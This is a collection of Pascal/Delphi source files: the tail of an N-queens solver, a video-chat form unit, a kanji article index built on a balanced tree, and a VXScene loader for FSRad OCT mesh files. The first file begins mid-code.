begin inc(attaques[t,g]); dec(t); inc(g); end; Reines[x,y]:=reine; end; procedure unmark(x,y:integer); var t,g,i:integer; begin for t:=y+1 to top do dec(attaques[x,t]); t:=x+1; g:=y+1; for i:=1 to min(top-t,top-g)+1 do begin dec(attaques[t,g]); inc(t); inc(g); end; t:=x-1; g:=y+1; if t>0 then for i:=1 to min(top-g+1,t) do begin dec(attaques[t,g]); dec(t); inc(g); end; Reines[x,y]:=libre; end; procedure traduit; var t,g:integer; begin write(sol:4,'. '); for t:=1 to top do for g:=1 to top do if Reines[g,t]=reine then write(colname[t],g,' '); writeln(' ',recursions); end; function find(level,j:integer):integer; begin inc(j); while (attaques[j,level]<>libre) and (j<top) do inc(j); if (attaques[j,level]=libre) then find:=j else find:=0; end; procedure recurse(level:integer); var t:integer; begin inc(recursions); t:=0; repeat t:=find(level,t); if t<>0 then begin if level=top then begin inc(sol); Reines[t,level]:=reine; traduit; Reines[t,level]:=libre; end else begin mark(t,level); recurse(level+1); unmark(t,level); end; end until (t=0) or (t=top); end; function fact(n:real):real; begin if n<=1 then fact:=1 else fact:=n*fact(n-1); end; var {a:echiquier;} i:integer; begin sol:=0; val(paramstr(1),top,i); if top>max then begin writeln('! ',Top,' a ete remis a ',max,' (max)'); top:=max; end; if top<1 then top:=1; writeln; writeln(' Le probleme des ',top,' reines FAST (c) 1992-1993 Steven Pigeon'); writeln; recursions:=0; fillchar(attaques,sizeof(attaques),libre); fillchar(Reines,sizeof(Reines),libre); recurse(1); writeln; writeln(' Solutions: ',sol); writeln(' Recursions: ',recursions,' (au lieu de ',fact(top):0:0,')'); end.
unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, OleCtrls, VideoChatReceiverLib_TLB, VideoChatSenderLib_TLB; type TForm1 = class(TForm) GroupBox1: TGroupBox; Label1: TLabel; cbovideodevice: TComboBox; Label2: TLabel; cboaudiodevice: TComboBox; Label3: TLabel; cbovideoformat: TComboBox; Label5: TLabel; cboaudiocomplex: TComboBox; Label6: TLabel; txtframerate: TEdit; Label7: TLabel; cboaudioquality: TComboBox; Label8: TLabel; txtVideobitrate: TEdit; Label9: TLabel; chksendvideo: TCheckBox; chksendaudio: TCheckBox; Label10: TLabel; txtconnectIP: TEdit; Label11: TLabel; txtConnectPortNo: TEdit; Button1: TButton; Button2: TButton; Label12: TLabel; lblvideobitrate: TLabel; Label13: TLabel; lblaudiobitrate: TLabel; GroupBox2: TGroupBox; Label14: TLabel; txtListenIP: TEdit; Label15: TLabel; txtlistenportno: TEdit; chkreceivevideo: TCheckBox; chkreceiveaudio: TCheckBox; Button3: TButton; Button4: TButton; Button5: TButton; Label4: TLabel; txtConfNumber: TEdit; Label16: TLabel; txtUserID: TEdit; VideoChatSender1: TVideoChatSender; VideoChatReceiver1: TVideoChatReceiver; procedure FormActivate(Sender: TObject); procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); procedure Button3Click(Sender: TObject); procedure Button4Click(Sender: TObject); procedure Button5Click(Sender: TObject); procedure VideoChatSender1SendStream(ASender: TObject; fVideoBitrate, fAudioBitrate: Single); procedure FormClose(Sender: TObject; var Action: TCloseAction); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation uses Unit2; {$R *.dfm} procedure TForm1.FormActivate(Sender: TObject); var ivideodevicecount: integer; var iaudiodevicecount: integer; var i:integer; begin ivideodevicecount := VideoChatSender1.GetVideoDeviceCount(); for i := 0 To ivideodevicecount-1 do begin cbovideodevice.Items.Add(VideoChatSender1.GetVideoDeviceName(i)); end; if cbovideodevice.Items.Count >0 then cbovideodevice.ItemIndex:=0; iaudiodevicecount := VideoChatSender1.GetAudioDeviceCount(); for i:=0 to iaudiodevicecount-1 do begin cboaudiodevice.Items.Add(VideoChatSender1.GetAudioDeviceName(i)); end; if cboaudiodevice.Items.Count >0 then cboaudiodevice.ItemIndex:=0; cbovideoformat.Items.Add('160x120'); cbovideoformat.Items.Add('176x144'); cbovideoformat.Items.Add('320x240'); cbovideoformat.Items.Add('352x288'); cbovideoformat.Items.Add('640x480'); cbovideoformat.Items.Add('1280x720'); cbovideoformat.ItemIndex:=2; cboaudiocomplex.Items.Add('0'); cboaudiocomplex.Items.Add('1'); cboaudiocomplex.Items.Add('2'); cboaudiocomplex.Items.Add('3'); cboaudiocomplex.ItemIndex:=2; for i := 0 To 10 do begin cboaudioquality.Items.Add(Format('%d', [i] )) end; cboaudioquality.ItemIndex:=8; end; procedure TForm1.Button1Click(Sender: TObject); var strvideodevice : String; var straudiodevice : String; var iresult : Integer; begin VideoChatSender1.VideoDevice:=cbovideodevice.ItemIndex; VideoChatSender1.AudioDevice:=cboaudiodevice.ItemIndex; VideoChatSender1.VideoFormat := cbovideoformat.ItemIndex; VideoChatSender1.FrameRate :=strtoint(txtframerate.Text); VideoChatSender1.VideoBitrate := strtoint(txtVideobitrate.Text); VideoChatSender1.AudioComplexity :=cboaudiocomplex.ItemIndex; VideoChatSender1.AudioQuality := cboaudioquality.ItemIndex; VideoChatSender1.SendVideoStream :=chksendvideo.Checked; VideoChatSender1.SendAudioStream :=chksendaudio.Checked; VideoChatSender1.ConferenceNumber:= strtoint(txtConfNumber.Text); VideoChatSender1.ConferenceUserID:= strtoint(txtUserID.Text); iresult :=VideoChatSender1.Connect(txtconnectIP.Text,strtoint(txtConnectPortNo.Text)); end; procedure TForm1.Button2Click(Sender: TObject); begin VideoChatSender1.Disconnect(); end; procedure TForm1.Button3Click(Sender: TObject); var bresult : bool; begin VideoChatReceiver1.ReceiveAudioStream:=chkreceiveaudio.Checked; VideoChatReceiver1.ReceiveVideoStream := chkreceivevideo.checked; VideoChatReceiver1.ConferenceNumber:= strtoint(txtConfNumber.Text); VideoChatReceiver1.ConferenceUserID:= strtoint(txtUserID.Text); bresult :=VideoChatReceiver1.Listen(txtListenIP.Text,strtoint(txtlistenportno.Text)); end; procedure TForm1.Button4Click(Sender: TObject); begin VideoChatReceiver1.Disconnect(); end; procedure TForm1.Button5Click(Sender: TObject); begin ShowMessage(VideoChatReceiver1.GetIPAddress()); end; procedure TForm1.VideoChatSender1SendStream(ASender: TObject; fVideoBitrate, fAudioBitrate: Single); begin lblvideobitrate.Caption:=Format('%f',[fVideoBitrate]); lblaudiobitrate.Caption:=Format('%f',[ fAudioBitrate]); end; procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin Form2.Close; end; end.
unit YarxiRefs; { Таблицы соответствия номеров статей в базе знакам кандзи и словам. Загружаются целиком прежде любого другого разбора, т.к. уже требуются во время него. } interface uses BalancedTree; type TIndexEntry = class(TBinTreeItem) FID: integer; FText: string; function CompareData(const a):Integer; override; function Compare(a:TBinTreeItem):Integer; override; procedure Copy(ToA:TBinTreeItem); override; end; TArticleIndex = class(TBinTree) public procedure Add(const AId: integer; AText: string); reintroduce; function Get(const AId: integer; out AText: string): boolean; end; var KanjiRefs: TArticleIndex; function getKanji(const AId: integer): string; inline; { Потом можно сделать аналогичный индекс и для танго, но танго ещё нужно само составить из кандзи и каны } implementation uses SysUtils, WcExceptions; function TIndexEntry.CompareData(const a):Integer; begin Result := integer(a)-Self.FID; end; function TIndexEntry.Compare(a:TBinTreeItem):Integer; begin Result := TIndexEntry(a).FID-Self.FID; end; procedure TIndexEntry.Copy(ToA:TBinTreeItem); begin TIndexEntry(ToA).FID := FID; TIndexEntry(ToA).FText := FText; end; procedure TArticleIndex.Add(const AId: integer; AText: string); var item: TIndexEntry; begin item := TIndexEntry.Create; item.FID := AId; item.FText := AText; inherited Add(item); end; function TArticleIndex.Get(const AId: integer; out AText: string): boolean; var item: TIndexEntry; begin item := TIndexEntry(Self.SearchData(AId)); Result := item<>nil; if Result then AText := item.FText; end; function getKanji(const AId: integer): string; begin if not KanjiRefs.Get(AId, Result) then Die('Не удалось найти кандзи #'+IntToStr(AId)); end; initialization KanjiRefs := TArticleIndex.Create; finalization FreeAndNil(KanjiRefs); end.
// // VXScene Component Library, based on GLScene http://glscene.sourceforge.net // { Loader for FSRad OCT files. } unit uFileOCT; interface {$I VXScene.inc} uses System.Classes, System.SysUtils, VXS.VectorGeometry, VXS.MeshUtils, VXS.VectorLists; type TOCTHeader = record numVerts: Integer; numFaces: Integer; numTextures: Integer; numLightmaps: Integer; numLights: Integer; end; TOCTVertex = record tv: TTexPoint; // texture coordinates lv: TTexPoint; // lightmap coordinates pos: TAffineVector; // vertex position end; TOCTFace = record start: Integer; // first face vert in vertex array num: Integer; // number of verts in the face id: Integer; // texture index into the texture array lid: Integer; // lightmap index into the lightmap array p: THmgPlane; end; POCTFace = ^TOCTFace; TOCTTexture = record id: Integer; // texture id Name: array [0 .. 63] of AnsiChar; // texture name end; TOCTLightmap = record id: Integer; // lightmaps id map: array [0 .. 49151] of Byte; // 128 x 128 raw RGB data end; POCTLightmap = ^TOCTLightmap; TOCTLight = record pos: TAffineVector; // Position color: TAffineVector; // Color (RGB) intensity: Integer; // Intensity end; TOCTFile = class(TObject) public Header: TOCTHeader; Vertices: array of TOCTVertex; Faces: array of TOCTFace; Textures: array of TOCTTexture; Lightmaps: array of TOCTLightmap; Lights: array of TOCTLight; PlayerPos: TAffineVector; constructor Create; overload; constructor Create(octStream: TStream); overload; { Saves content to stream in OCT format. The Header is automatically prepared before streaming. } procedure SaveToStream(aStream: TStream); procedure AddTriangles(vertexCoords: TAffineVectorList; texMapCoords: TAffineVectorList; const textureName: String); procedure AddLight(const lightPos: TAffineVector; const lightColor: TVector; lightIntensity: Integer); end; // ------------------------------------------------------------------ implementation // ------------------------------------------------------------------ // ------------------ // ------------------ TOCTFile ------------------ // ------------------ constructor TOCTFile.Create; begin inherited Create; end; constructor TOCTFile.Create(octStream: TStream); begin inherited Create; // Read in the header octStream.Read(Header, SizeOf(Header)); // then the rest of the stuff SetLength(Vertices, Header.numVerts); octStream.Read(Vertices[0], Header.numVerts * SizeOf(TOCTVertex)); SetLength(Faces, Header.numFaces); octStream.Read(Faces[0], Header.numFaces * SizeOf(TOCTFace)); SetLength(Textures, Header.numTextures); octStream.Read(Textures[0], Header.numTextures * SizeOf(TOCTTexture)); SetLength(Lightmaps, Header.numLightmaps); octStream.Read(Lightmaps[0], Header.numLightmaps * SizeOf(TOCTLightmap)); SetLength(Lights, Header.numLights); octStream.Read(Lights[0], Header.numLights * SizeOf(TOCTLight)); octStream.Read(PlayerPos, SizeOf(PlayerPos)) end; procedure TOCTFile.SaveToStream(aStream: TStream); begin with Header, aStream do begin numVerts := Length(Vertices); numFaces := Length(Faces); numTextures := Length(Textures); numLightmaps := Length(Lightmaps); numLights := Length(Lights); Write(Header, SizeOf(Header)); Write(Vertices[0], numVerts * SizeOf(TOCTVertex)); Write(Faces[0], numFaces * SizeOf(TOCTFace)); Write(Textures[0], numTextures * SizeOf(TOCTTexture)); Write(Lightmaps[0], numLightmaps * SizeOf(TOCTLightmap)); Write(Lights[0], numLights * SizeOf(TOCTLight)); Write(PlayerPos, SizeOf(PlayerPos)) end; end; procedure TOCTFile.AddTriangles(vertexCoords: TAffineVectorList; texMapCoords: TAffineVectorList; const textureName: String); var i: Integer; baseIdx, texIdx: Integer; begin Assert((texMapCoords = nil) or (texMapCoords.Count = vertexCoords.Count)); texIdx := Length(Textures); SetLength(Textures, texIdx + 1); Move(textureName[1], Textures[texIdx].Name[0], Length(textureName)); SetLength(Lightmaps, 1); FillChar(Lightmaps[0].map[0], 128 * 3, 255); baseIdx := Length(Vertices); SetLength(Vertices, baseIdx + vertexCoords.Count); for i := 0 to vertexCoords.Count - 1 do with Vertices[baseIdx + i] do begin pos := vertexCoords.List[i]; if Assigned(texMapCoords) then tv := PTexPoint(@texMapCoords.List[i])^; end; SetLength(Faces, vertexCoords.Count div 3); i := 0; while i < vertexCoords.Count do begin with Faces[i div 3] do begin start := baseIdx + i; num := 3; id := texIdx; p := PlaneMake(vertexCoords[i], CalcPlaneNormal(vertexCoords[i + 0], vertexCoords[i + 1], vertexCoords[i + 0])); end; Inc(i, 3); end; end; procedure TOCTFile.AddLight(const lightPos: TAffineVector; const lightColor: TVector; lightIntensity: Integer); var n: Integer; begin n := Length(Lights); SetLength(Lights, n + 1); with Lights[n] do begin pos := lightPos; color := PAffineVector(@lightColor)^; intensity := lightIntensity; end; end; end.